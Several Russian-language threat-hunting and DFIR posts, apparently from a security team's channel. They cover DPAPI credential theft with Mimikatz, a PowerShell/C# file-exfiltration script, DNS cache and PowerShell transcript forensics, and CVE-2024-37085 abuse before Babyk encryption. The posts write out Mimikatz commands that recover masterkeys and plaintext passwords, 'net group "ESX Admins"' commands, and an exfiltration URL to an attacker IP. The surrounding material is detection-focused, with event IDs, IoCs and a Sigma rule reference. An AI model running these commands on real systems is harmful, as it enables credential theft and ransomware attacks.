DPAPI — популярный вектор для атак на ОС семейства Windows 💻

Ключи Wi-Fi, сертификаты, учетные данные, cookies браузеров, DropBox, Skype — и это только часть мишеней, на которые нацелены злоумышленники.

Сегодня разберем, что произойдет, если у пользователя сохранены учетные данные на рабочей станции, введенной в домен Active Directory, а злоумышленник загрузил на нее всем знакомый Mimikatz.

👀 Для начала рассмотрим, как связан DPAPI с учетными данными пользователей и другими секретами.

Интерфейс DPAPI используется компанией Microsoft в Windows с 2000-го года. Он позволяет хранить чувствительные данные пользователя в шифрованном виде.

Что использует этот интерфейс для шифрования данных?

• SID пользователя;
• hash пароля;
• Masterkey — ключевую сущность, за которой будут охотиться злоумышленники.

Masterkey в свою очередь генерируется из так называемых prekey и 64 рандомных байт. SID, hash пароля пользователя и Masterkey путем криптографических манипуляций образуют blob. Поэтому для расшифрования злоумышленнику нужно знать конкретный blob, который нужно расшифровать, Masterkey в открытом виде, hash пароля пользователя и его SID для расшифровки.

🗂 Упомянутые объекты и параметры содержатся в различных папках и ветках реестра. Нам интересны следующие папки:

• Папка с сredential blob

\Users\<user>\appdata\local\microsoft\credentials\<credential blob>

• Папка с файлами пользовательских mastekeys

\Users\%USER%\AppData\Roaming\Microsoft\Protect\%SID%\

• Папка с файлами приватных RSA-ключей

%APPDATA%\Roaming\Microsoft\Crypto\RSA\<SID>\

У одного пользователя может быть несколько masterkeys на узле. Злоумышленник сначала должен будет узнать, какой masterkey используется сейчас для blob с учетными данными.

Находясь на узле и загрузив Mimikatz, злоумышленник может найти эту информацию, прочитав свойства внутри blob с помощью команды mimikatz:

dpapi::cred /in:C:\users\<username>\appdata\local\microsoft\credentials\<blob>

💡 Дисклеймер: если команды будут выполняться через Cobalt Strike или другой C2, то синтаксис команд будет другой.

Для корректной идентификации Masterkey необходимо обратить внимание на параметр guidMasterkey — это идентификатор Masterkey, который использовался для шифрования этого blob. Благодаря тому, что в нашем случае рабочая станция введена в домен и имеет с ним связь, можно запросить резервный RSA-ключ с контроллера домена.

Здесь важно отметить, что злоумышленник может запросить его только для своего авторизованного пользователя. Для того чтобы запросить этот ключ для всех пользователей и расшифровать все Masterkeys, понадобятся права доменного администратора.

Запрос RSA-ключа на контроллер домена будет выполнен со службы MS-BKRP (backupkey remote protocol) RPC:

dpapi::masterkey /in:C:\users\<username>\appdata\roaming\microsoft\protect\<SID>\<masterkey> /rpc

В ответ злоумышленнику придет masterkey в открытом виде (параметр key:) и его sha1 hash.

После этого он может попытаться расшифровать учетные данные пользователя и получить пароль в открытом виде.

Сделает он это с помощью команды:

dpapi::cred /in:C:\users\<username>\appdata\local\microsoft\credentials\<blob> /masterkey:<masterkey_as_plain_text>

И получит на выходе в параметре CredentialBlob: пароль скомпрометированного пользователя 💻

#DPAPI #win #hunt #ti
@ptescalator

ℹ️ Эксфильтрация с помощью Powershell/C#

В процессе расследования инцидента при анализе журналов событий Windows на одном из скомпрометированных узлов мы обнаружили факт выполнения скрипта PowerShell, осуществляющего эксфильтрацию чувствительных файлов с сетевых папок на подконтрольный злоумышленникам сервер 🧐

Необходимая сетевая папка подключается командлетом New-SmbMapping, используются учетные данные, скомпрометированные на одном из предыдущих этапов атаки. После выполняется код на языке C#, определенный внутри PowerShell-скрипта и содержащий основную логику выгрузки файлов.

Программа на C# рекурсивно перебирает файлы, расположенные в заданной и во вложенных папках, и выгружает на подконтрольный веб-сервер те из них, для которых выполняются следующие условия:

• размер не превышает 750 000 байт.
• последняя модификация файла была не позже чем 130 дней назад.

📑 В процессе перебора информация записывается в %APPDATA%\tree.ini с указанием полного пути к файлам, их размеров в байтах, даты последней модификации и даты последнего доступа к ним.

Содержимое каждого из файлов, соответствующих описанным выше условиям, отправляется POST-запросом на веб-сервер злоумышленников в формате multipart/form-data частями по 16 384 байта.

В параметр filename передается идентификатор файла, который представляет собой закодированную Base64 строку формата:

fullpath&&last_write_time&&file_size&&host_name&&current_user&&drive_serial_number

После обработки и выгрузки всех файлов на сервер выгружается также и файл tree.ini, после чего удаляется из системы.

🔦 В обнаружении подобной активности может помочь анализ следующих событий журналов безопасности Windows:

1️⃣ Sysmon event ID 11: создание файлов в пользовательской папке %AppData% от имени процесса powershell.exe. В нашем случае создаются файлы с именами, определенными в коде: tree.ini, profiles_int.ini (БД, в которую записываются хеш-суммы MD5 идентификаторов файлов), sys_error.log и sys_error_ps.log (файлы журналов).

2️⃣ Sysmon event ID 3: сетевые соединения от имени процесса powershell.exe к узлам внутренней сети по порту 445 TCP.

3️⃣ Security event ID 4656, 4663: запрос дескриптора и получение доступа к файлам в сетевой папке процессом powershell.exe.

4️⃣ Windows PowerShell event ID 800 и Microsoft-Windows-PowerShell/Operational event ID 4103, 4104, содержащие характерные для скрипта строки. В частности, названия переменных и методов, определенных в коде:

C#: ___directoriesToUpload___, ___fileBase64Id___, ___WritePartInfo, ___SendTreeFileAndTryRemove

💡 Индикатором возможной вредоносной активности также служит наличие в сетевом трафике большого количества HTTP-запросов методом POST, URL которых содержат фрагменты, закодированные Base64.

👉 SIGMA-правило

IoC:

94.158.247.19

#detect #dfir #PowerShell #win
@ptescalator

☝️ Помимо журналов Windows, в расследовании активности, описанной в предыдущем посте, нам помог еще один интересный артефакт, предоставляемый популярным средством антивирусной защиты.

Этот артефакт представляет собой базу данных (reports.db), в которой хранятся сведения о работе приложений, в том числе о файлах и веб-ресурсах, с которыми взаимодействовал тот или иной процесс.

{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"\\\\10.50.1.39\\E$\\Очень важные документы\\отчет.xlsx//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}

{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"http://94.158.247.19/files/upload/4c3df659-4299-4f3d-a159-5cca5215f74f///WREQ//XFwxMC40MC4xMC4zNFxFJFzQntGH0LXQvdGMINCy0LDQttC90YvQtSDQtNC+0LrRg9C80LXQvdGC0Ytc0L7RgtGH0LXRgi54bHN4JiYyOC4wMi4yMDI0IDc6NDI6MTImJjM2NzQyJiZWTTAwMSYmYWRtaW4mJkRGNDUzNjI0//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}

Приведенные выше события, полученные после парсинга базы данных одним из наших инструментов, свидетельствуют о факте доступа процесса powershell.exe к документу в сетевой папке и к веб-странице.

🖥 URL, отраженный в поле object.directory, имеет следующий формат:

ip_address/files/upload/guid///WREQ//base64_id//

🧑‍💻 После декодирования из Base64 получим следующую строку:

\\10.40.10.34\E$\Очень важные документы\отчет.xlsx&&28.02.2024 7:42:12&&36742&&VM001&&admin&&DF453624

Запрос эксфильтрации содержит разделенные двойным амперсандом путь к файлу, дату модификации, размер файла в байтах, имя узла, имя пользователя и серийный номер жесткого диска.

Таким образом, reports.db — прекрасный источник данных, в котором можно найти:

• факты применения этого скрипта для эксфильтрации;
• перечень выгруженных ресурсов;
• учетную запись, под которой велась хакерская активность.

#detect #dfir #PowerShell #win
@ptescalator

Где искать сетевые индикаторы компрометации на Windows? Например, в кэше DNS 💡

Кэш DNS — механизм кэширования записей соответствия доменных имен IP-адресам (и не только). Он нужен для того, чтобы система каждый раз не обращалась к DNS-серверам за этой информацией. Посмотреть содержимое кэша можно с помощью команды ipconfig /displaydns, но не спешите это делать.

У каждой DNS-записи есть параметр TTL (time to live), который определяет, как долго запись остается действительной. По истечении TTL запись «протухает» — и система вновь вынуждена запрашивать данные у DNS-сервера.

Windows хранит перечень кэшированных доменов в виде связного списка, а запрос содержимого кэша состоит из двух этапов: на первом этапе с помощью системного вызова DnsGetCacheDataTable формируется полный список кэшированных доменов, затем для каждого домена из списка происходит резолв из кэша с помощью системного вызова DnsQuery с флагом DNS_QUERY_NO_WIRE_QUERY. Таким образом для каждого кэшированного домена из кэша извлекаются соответствующие ресурсные записи: A, AAAA, TXT и так далее.

😐 Здесь-то и кроется подвох. Если домен содержится в списке кэшированных, а его TTL истекло, то команда ipconfig /displaydns не только не покажет такой домен в списке, но и удалит его из списка кэшированных доменов, тем самым уничтожив потенциальные улики.

Чтобы получить полный список кэшированных доменов (даже «протухших»), можно использовать вызов DnsGetCacheDataTable. Ниже приведен скрипт для PowerShell, реализующий эту функцию:

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

namespace DnsCache
{
    [StructLayout(LayoutKind.Sequential)]
    public struct DnsCacheEntry
    {
        public IntPtr PNext;
        public IntPtr Name;
        public ushort Type;
        public ushort DataLength;
        public uint Flags;
    }

    public class Program
    {

        [DllImport("dnsapi.dll")]
        public static extern void DnsGetCacheDataTable(ref DnsCacheEntry entry);
        public static void GetCache()
        {
            DnsCacheEntry a = new DnsCacheEntry();
            DnsGetCacheDataTable(ref a);
            while (true)
            {
                Console.WriteLine("RR name: {0}", Marshal.PtrToStringAuto(a.Name));
                if (a.PNext == IntPtr.Zero) break;
                a = Marshal.PtrToStructure<DnsCacheEntry>(a.PNext);
            }

        }
    }
}
"@
[DnsCache.Program]::GetCache()

Попробуйте выполнить этот скрипт, а потом сравните с результатами вызова ipconfig /displaydns (именно в таком порядке).

Happy hunting!

#tips #hunting #win #dfir #dotnet #triage
@ptescalator

Где можно найти историю команд PowerShell? 🧐

Наверняка в первую очередь в голову придут журналы Windows и файл ConsoleHost_history.txt, однако есть еще один довольно интересный артефакт.

Речь идет о журнале PowerShell Transcript. Он представляет собой текстовый файл, в который записываются данные о командах, выполняемых в ходе сеанса PowerShell.

В PowerShell Transcript мы можем обнаружить такую интересную информацию, как:

• имя пользователя, выполнявшего команды;
• время начала и окончания журналирования данных;
• введенные команды и результат их выполнения.

Стоит отметить, что этот механизм журналирования по умолчанию выключен. Чтобы включить его, необходимо установить в ключе реестра Windows HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription значение EnableTranscripting = 1 (REG_DWORD).

Файлы журналов по умолчанию записываются в директорию \Users\[username]\Documents\[YYYYMMDD]. Но этот путь можно изменить, прописав необходимую директорию в значении OutputDirectory ключа HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription.

Пример журнала:

**********************
Начало записи сценария Windows PowerShell
Время начала: 20240802191321
Имя пользователя: TEST\User
Запуск от имени пользователя: TEST\User
Имя конфигурации: 
Компьютер: PC1 (Microsoft Windows NT 10.0.17763.0)
Ведущее приложение: powershell New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name DisableRestrictedAdmin -Value 0 -PropertyType DWORD -Force
ИД процесса: 13612
PSVersion: 5.1.17763.2931
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17763.2931
BuildVersion: 10.0.17763.2931
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
PS>New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name DisableRestrictedAdmin -Value 0 -PropertyType DWORD -Force


DisableRestrictedAdmin : 0
PSPath                 : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
PSParentPath           : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName            : Lsa
PSDrive                : HKLM
PSProvider             : Microsoft.PowerShell.Core\Registry



PS>$global:?
True
**********************
Конец записи протокола Windows PowerShell
Время окончания: 20240801913322
**********************

#tips #win
@ptescalator

Net group "babyk" /add

В рамках расследования одного из инцидентов мы обнаружили факт эксплуатации уязвимости CVE-2024-37085. Она позволяет злоумышленнику получить полный контроль над гипервизором VMware ESXi, присоединенным к домену 😠

Уязвимость заключается в том, что пользователи, входящие в группу с именем ESX Admins, по умолчанию имеют максимальные права доступа к гипервизору. Эта группа не существует в домене по умолчанию, поэтому злоумышленнику необходимо завладеть учетной записью, имеющей права на создание группы и добавление в нее пользователей.

✏️ Уязвимость CVE-2024-37085 описана компанией Microsoft в июле 2024 года.

В статье упоминается эксплуатация этого недостатка операторами шифровальщиков Akira и Black Basta. В публичных отчетах информации об использовании уязвимости в атаках на российские организации нет.

👤 В рассматриваемом нами случае злоумышленникам удалось получить доступ к контроллеру домена и завладеть учетной записью с необходимыми правами. После они создали группу ESX Admins и добавили в нее пользователя, выполнив следующие команды:

net group "ESX Admins" /add /domain
net group "ESX Admins" superuser /add /do

От имени этого пользователя впоследствии нарушители вошли на гипервизор и зашифровали файлы и диски виртуальных машин с применением Babyk.

В обнаружении эксплуатации CVE-2024-37085 могут помочь события журнала Security:

• 4727 — создание группы безопасности Active Directory с именем ESX Admins;
• 4737 — изменение группы безопасности Active Directory (переименование группы в ESX Admins);
• 4728 — добавление пользователя в группу безопасности Active Directory с именем ESX Admins.

Для исправления описанной уязвимости рекомендуется установить последние обновления безопасности для VMware ESXi.

#dfir #cve #detect #win
@ptescalator